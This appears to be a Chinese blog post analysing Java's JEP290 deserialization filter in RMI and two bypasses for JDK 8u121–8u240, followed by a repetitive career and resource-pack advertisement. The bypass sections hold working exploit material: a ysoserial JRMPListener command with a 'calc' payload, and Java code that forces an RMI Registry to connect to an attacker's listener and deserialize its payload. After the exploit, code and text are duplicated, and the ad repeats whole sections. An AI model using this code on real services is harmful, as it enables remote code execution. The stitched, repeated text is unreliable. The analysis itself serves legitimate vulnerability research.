JEP290是Java官方提供的一套来防御反序列化的机制,其核心在于提供了一个ObjectInputFilter接口,通过设置filter对象,然后在反序列化(ObjectInputStream#readObject)的时候触发filter的检测,同样,这套机制在RMI中也适用,所以在一些高版本的情况下,依靠单纯的反序列化的方式无法达到效果,但是我们可以借助一些方式来绕过它。
流程分析
JEP290 chek 点
JEP290是 Java 底层为了解决反序列化攻击所提出的一种方案,主要有以下机制:
-
提供一个限制反序列化类的机制,白名单或者黑名单;
-
限制反序列化的深度和复杂度;
-
为 RMI 远程调用对象提供了一个验证类的机制;
-
定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
它本来是针对 Java9 的一个新特性,但是官方随后决定向下引进增强该机制,对以下 JDK 增加了该特性:
-
JDK8u121
-
JDK7u13
-
JDK6u141
ObjectInputStream#setInternalObjectInputFilter:
在 RMI 中JEP290主要是在远程引用层 之上进行过滤的,所以其过滤作用对 Server 和 Client 的互相攻击无效(在完成和 Registry
通信之后,客户端和服务端的相互通信就到了远程引用层和传输层):
启动一个 Registry,然后在 Server 端bind(rebind)一个恶意对象,被 filter 过滤掉:
根据对应关系,直接看RegistryImpl_Skel#dispatch中的case 0,对应着bind方法:
var7是绑定对象的名称,var80就是要导出的远程对象,单步跟进var80的反序列化过程:
跟进ObjectInputStream#readObject0方法:
单步到readOrdinaryObject方法,再跟进到readClassDesc方法,在这个方法里会根据反序列化的类不同进入不同的 case 里:
重点关注下面两个 case,分别对动态代理类的 Class 和非动态代理类的 Class 进行处理,而且都会调用到filterCheck方法对序列化流进行
check(图就不贴了,自行跟入查看即可)。
这个filterCheck方法最终调用的是RegistryImpl#registryFilter方法(至于为什么后面会说到),它对反序列化的类进行了白名单的限制:
白名单内容:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
只要反序列化的类不是白名单中的类,就会返回REJECTED操作符,表示序列化流中有不合法的内容,直接抛出异常。
再说回我们bind的恶意对象为什么会被 check,在 RMI 中,Server 端执行bind方法的参数必须是一个实现了 Remote
接口的对象,但是普通的 CC 链最后生成的恶意对象是不满足这个条件的,这时候就需要动态代理来代理Remote接口,实际上最后绑定的是动态代理生成的代理对象:
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);
代理对象是如何触发反序列化的呢?代理对象内部有 InvocationHandlerImpl 对象的引用,而后者内部也有一个 expMap
的引用,三者都实现了 Serializable 接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致 expMap
被反序列化。(https://www.wolai.com/vUAU982tJ5pH8wJvYeAfPf)
所以在反序列化的时候,除了对代理对象本身反序列化,也要对其内部字段进行反序列化,类似于一个递归的过程,我们的代理对象本身(它自身实现了被代理的接口,这里是
Remote 接口)是不会触发 check 的,真正触发 check 的其实是内部的 InvocationHandlerImpl,来看调用栈:
触发check
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
...
通过调用栈我们可以看到从开始到触发 check
其实是调用了两次readObject0方法的,第一次就是对代理对象本身的反序列化,第二次是对其内部字段进行反序列化。
readSerialData方法会读取对象内部的字段,然后循环进入readObject0方法处理:
同上面分析的readObject0方法一样,会进入到不同的 case
中,最后我们的InvocationHandlerImpl类在readNonProxyDesc方法中触发了 filter 的 check:
filter 创建过程
另一个问题,filter 是什么时候被设置的呢?
首先,在RegistryImpl的构造方法中传入了一个方法引用:
值得注意的是,RegistryImpl 有多个重载的构造方法,核心都是传入了一个 Lambda 表达式作为
filter,只是代码细节有些许不同,就不作额外分析了。
RegistryImpl::registryFilter即info →
RegistryImpl.registryFilter(info),因为它和ObjectInputFilter接口的抽象方法签名一致,所以可以直接通过方法引用来简写:
这个 Lambda 表达式以ObjectInputFilter接口的形式传入了UnicastServerRef2的构造方法中:
最后赋值给了该类的filter
成员变量:
在触发 check 的时候,filter 是一个 Lambda 表达式,就是最开始传入的RegistryImpl::registryFilter:
所以才会进入方法RegistryImpl#registryFilter方法中去,看一眼调用栈:
registryFilter:416, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1566502717 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readProxyDesc:1828, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
...
此外,之前提到在 Registry 的创建过程中 filter 最终只是作为UnicastServerRef的一个成员变量而存在,直到 Registry
在处理请求的时候,在oldDispatch方法中才把 filter 赋值给了ObjectInputStream的成员变量serialFilter。
UnicastServerRef#oldDispatch:
UnicastServerRef#unmarshalCustomCallData:
Bypass 8u121~8u230
UnicastRef 类
``UnicastRef是在白名单上的,RMI Server 或者 Client 和 Registry 的通信就基于它。
在代码层面来说,我们在执行 bind、lookup 等方法的时候都会先获取到一个 Registry,比如:
Registry registry = LocateRegistry.getRegistry(1099);
跟进LocateRegistry#getRegistry方法:
这里的 TCPEndpoint 封装了 Registry 的 host、端口等信息,然后用 UnicastRef 封装了 liveRef。最终获取到的是一个
RegistryImpl_Stub 对象;这个对象里面封装了一个 UnicastRef 对象:
然后我们用这个 Stub 对象(客户端)去连接 Registry,以 bind 方法为例:
从这个过程来看,通过 UnicastRef 的 newCall 方法发起连接,然后把要绑定的对象发送到 Registry。
所以如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息,我们就可以发起一个任意的 JRMP 连接请求,这其实就是
ysoserial 中的 payloads.JRMPClient 的原理。
RemoteObject 类
RemoteObject 是一个抽象类,在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable
接口,代表它(及其子类)可以通过白名单的检测,而 Bypass 利用的关键点就是它的 readObject 方法:
这里的 ref 就是一个 UnicastRef 对象,往下跟 readExternal:
跟进 read 方法:
在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口,后面会提到),然后重新封装成一个 LiveRef
对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法:
建立了一个 TCPEndpoint 到 ArrayList的映射关系。
上述部分是在RegistryImpl_Skle#dispatch中的 readObject 方法触发的:
在服务端触发了反序列化之后,来到StreamRemoteCall#releaseInputStream方法中,在这里会调用ConnectionInputStream#registerRefs方法:
这里的this.in
就是上文中提到的存储了 LiveRef 对象的那个 ConnectionInputStream 对象,接着跟进:
在这里就会发现会根据之前存储的映射关系("在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host
与端口,后面会提到),然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef
方法:image.png 建立了一个 TCPEndpoint 到 ArrayList
的映射关系。")提取值,然后传入DGCClient#registerRefs方法中:
最终由 DGCClient 向恶意的 JRMP 服务端发起 lookup 连接:
Bypass 思路
经过对 RemoteObject 类的分析我们可以明确:
-
RemoteObject 类(及其子类)对象可以被 bind(lookup 方法也可以)到 Registry,且在白名单之上。
-
RemoteObject 类(及其没有实现 readObject 方法的子类)经过反序列化可以通过内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server。
所以 Bypass JEP290 的思路如下:
-
用 ysoserial 开启一个恶意的 JRMPListener。
-
控制 RemoteObject ↓ 中的 UnicastRef 对象,这个对象封装了恶意 Server 的 host、端口等信息。
-
Client / Server 向 Registry 发送这个 RemoteObject↓ 对象,Registry 触发 readObject 方法之后会向恶意的 JRMP Server 发起连接请求。
-
后续触发 JRMPListener 。
Registry 触发反序列化的利用链:
客户端发送数据 --> ...
UnicastServerRef#dispatch -->
UnicastServerRef#oldDispatch -->
RegistryImpl_Skle#dispatch --> RemoteObject#readObject
StreamRemoteCall#releaseInputStream -->
ConnectionInputStream#registerRefs -->
DGCClient#registerRefs -->
DGCClient$EndpointEntry#registerRefs -->
DGCClient$EndpointEntry#makeDirtyCall -->
DGCImpl_Stub#dirty -->
UnicastRef#invoke --> (RemoteCall var1)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"
※ 备注 1
重点关注
UnicastRef#invoke
方法,这个方法有两种不同的重载形式:
invoke(RemoteCall var1)
invoke(Remote var1, Method var2, Object[] var3, long var4)
这里的 Bypass121 使用的是第一种形式,而后面的"Bypass
8u231~8u240"使用的第二种形式(用于调用远程方法),但是两种重载都会触发StreamRemoteCall#executeCall
方法。
可见,对比于Registry 攻击
Client&Server,虽然中间流程复杂了一些,但是最后都来到了StreamRemoteCall#executeCall方法,同样反序列化了
BadAttributeValueExpException 对象。
所以 Bypass JEP290 的关键在于:通过反序列化将 Registry 变为 JRMP 客户端,向 JRMPListener 发起 JRMP 请求。
然后就是类的寻找:
顺着上面的思路找,很多子类都满足要求,比如:
-
RemoteObjectInvocationHandler
-
RMIConntionImpl_Stub
-
DGCImpl_Stub
-
RmiServerImpl_Stub
-
…
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 ‘calc’
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println(“RMI Registry Start”);
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(“localhost”, 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以,但需要手动模拟lookup方法的流程
registry.bind(“pwn”, handler);
}
}
修复
在 8u231 版本及以上的DGCImpl_Stub#dirty方法中多了一个setObjectInputFilter的过程,又会被 JEP290
check 到了 。
Bypass 8u231~8u240
总分析
在上面的 Bypass 中,UnicastRef 类用了一层包装,通过递归的形式触发反序列化;通过 DGCClient 向 JRMPListener 发起
JRMP 请求,而这条 Gadget 是直接利用一次反序列化发起 JRMP 请求。
Gadget 利用链如下:
客户端发送数据 --> 服务端反序列化(RegistryImpl_Skle#dispatch)
UnicastRemoteObject#readObject -->
UnicastRemoteObject#reexport -->
UnicastRemoteObject#exportObject --> overload
UnicastRemoteObject#exportObject -->
UnicastServerRef#exportObject --> ...
TCPTransport#listen -->
TcpEndpoint#newServerSocket -->
RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke -->
RemoteObjectInvocationHandler#invokeMethod -->
UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"
调用链分析
UnicastRemoteObject 作为反序列化的入口,
UnicastRemoteObject#readObject:
来到
UnicastRemoteObject#reexport:
这里我们在 exp 中会设置 ssf,进入第二个分支,
UnicastRemoteObject#exportObject:
这里把 port、csf、ssf 作为构造方法参数传入 UnicastServerRef2,其实它里面是包装了一层 LiveRef:
public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
super(new LiveRef(var1, var2, var3));
}
再跟入重载的UnicastRemoteObject#exportObject:
之后再来到
UnicastServerRef#exportObject:
这部分在"Registry 创建"已经有过分析了,在这里会创建 RegistryImpl_Stub、RegistryImpl_Skel 对象,最终调用到
TCPTransport#listen方法创建监听栈,中间过程省略,直接跟入
TCPTransport#listen:
var1 是一个 TcpEndpoint 对象,跟入
TcpEndpoint#newServerSocket方法:
在这里调用了之前提到的 ssf 的方法,这里有一层动态代理,通过 RemoteObjectInvocationHandler 代理
RMIServerSocketFactory 接口,然后把生成的代理对象设置为该 ssf,于是来到了
RemoteObjectInvocationHandler#invoke:
前面多个 if 都不满足,直接来到
RemoteObjectInvocationHandler#invokeRemoteMethod:
这里的 ref 可以设置为 UnicastRef,然后来到了熟悉
UnicastRef#invoke方法:
备注 1:这一段其实在"Client 攻击 Server"中就已经分析过了,只不过 UnicasrRef 中前者封装的一个是 Server 端的
host 、端口等信息,另一个封装的是恶意 JRMPListener 的信息。
备注 2:无论 RMI Registry、RMI Client、RMI Server、DGCClient 的任意两者通信,它们发起 JRMP
请求都利用了 UnicastRef 类。
在UnicastRef#invoke方法中让 Registry 向 JRMPListener 发起了 JRMP
请求,进行数据交互,来到了StreamRemoteCall#executeCall:
反序列化了 JRMPListener 发来的 payload,这里获取到 InputStream 之后并没有设置 JEP290 的
filter,所以又一次成功 Bypass。
Exploit
有个小问题
但是还有一个问题没解决,本地在 bind 或者 rebind
一个对象的时候,在序列化对象的时候会来到MarshalOutputStream#replaceObject方法:
如果这个对象没有继承 RemoteStub 的话,会进行转化:
原先的 UnicastRemoteObject 会被转化成
RemoteObjectInvocationHandler,自然到服务端就无法触发UnicastRemoteObject#readObject方法。
解决方案是自己重写一下RegistryImpl#bind方法,在序列化之前通过反射 ObjectInputStream,修改enableReplace为
false:
最后的 Exploit
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'
public class RMIServer {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1099);
bindReflection("pwn", payload, registry);
}
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
修复
在 jdk 8u241 中进行了修复,在RemoteObjectInvocationHandler#invokeRemoteMethod:
声明要调用的方法的类,必须实现 Remote 接口,而 RMIServerSocketFactory 类没有实现该接口,于是会直接抛出异常。
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
[外链图片转存中…(img-mKvLmMQv-1692774150680)]
修复
在 jdk 8u241 中进行了修复,在RemoteObjectInvocationHandler#invokeRemoteMethod:
[外链图片转存中…(img-2hfsXcRo-1692774150680)]
声明要调用的方法的类,必须实现 Remote 接口,而 RMIServerSocketFactory 类没有实现该接口,于是会直接抛出异常。
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vDco9LkP-1692774150680)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230809162658551.png)]
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aFpfK4z3-1692774150681)(C:\Users\Administrator\Desktop\网安思维导图\享学首创年薪40W+网络安全工程师 青铜到王者技术成长路线V4.0.png)]
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ybaY5w7z-1692774150681)(C:\Users\Administrator\Desktop\网安资料截图\视频课件.jpeg)]
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!